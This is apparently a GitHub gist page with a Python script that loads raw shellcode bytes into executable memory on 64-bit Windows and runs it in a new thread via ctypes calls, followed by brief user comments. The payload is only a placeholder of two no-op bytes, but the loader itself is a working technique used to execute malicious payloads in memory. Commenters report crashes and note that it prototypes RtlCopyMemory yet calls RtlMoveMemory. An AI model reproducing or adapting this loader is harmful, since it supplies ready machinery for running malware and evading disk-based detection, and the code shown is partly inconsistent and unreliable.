64 bit Python3 compatible shellcode runner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 64 bit compatible shellcode launcher | |
# | |
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8). | |
# Hence why this was neede to solve a problem. | |
# | |
# based on work from: | |
# http://www.debasish.in/2012/04/execute-shellcode-using-python.html | |
# https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/ | |
# https://stackoverflow.com/a/61258392 | |
# | |
# stuck together by: @peewpw | |
import ctypes | |
scbytes = b'\x90\x90' | |
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p | |
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t ) | |
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) ) | |
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) | |
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes ) | |
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes))) | |
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) | |
ctypes.windll.kernel32.WaitForSingleObject(handle, -1); |
thanks dude!
Its crashing everytime I try to use it
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Why you prototype RtlCopyMemory and use RtlMoveMemory? Is it a typo?